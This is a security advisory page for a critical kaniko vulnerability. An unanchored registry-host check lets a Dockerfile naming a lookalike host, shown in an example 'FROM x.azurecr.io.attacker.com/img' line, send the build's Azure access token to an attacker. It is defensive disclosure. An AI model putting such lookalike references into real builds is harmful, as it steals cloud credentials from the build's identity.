Security mailing lists by PureSourceCode

CVE-2026-105769

CRITICAL 9.3CVSS 3.1

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Published
2 Nov 2026
Last modified
5 Nov 2026
Assigned by
82cea9a6-e9e3-46fe-bdb0-3673de380178
NVD status
Awaiting Analysis
Weakness
CWE-346CWE-522
Also known as
GHSA-5q7h-w9jf-cx97GO-2026-6902
Sources
NVDJSONOSV GHSA-5q7h-w9jf-cx97JSONOSV GO-2026-6902JSON

Scores

SourceScored byVersionScoreVector / decision
NVD 82cea9a6-e9e3-46fe-bdb0-3673de380178 (Secondary) CVSS 3.1 CRITICAL 9.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
OSV GitHub CVSS 3.1 CRITICAL 9.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Affected

SourceVendor / ecosystemProduct / packageAffected versionsFixed in
OSV Go github.com/chainguard-dev/kaniko < 1.25.20 1.25.20

References

History

  • 25 Nov 2026 21:23 UTC · NVD: first stored (published 2 Nov 2026)
  • 25 Nov 2026 20:14 UTC · OSV: first stored (published 5 Nov 2026)
  • 25 Nov 2026 20:13 UTC · OSV: first stored (published 5 Nov 2026)
An unhandled error has occurred. Reload ×

Rejoining the server...

Rejoin failed... trying again in seconds.

Failed to rejoin.
Please retry or reload the page.

The session has been paused by the server.

Failed to resume the session.
Please retry or reload the page.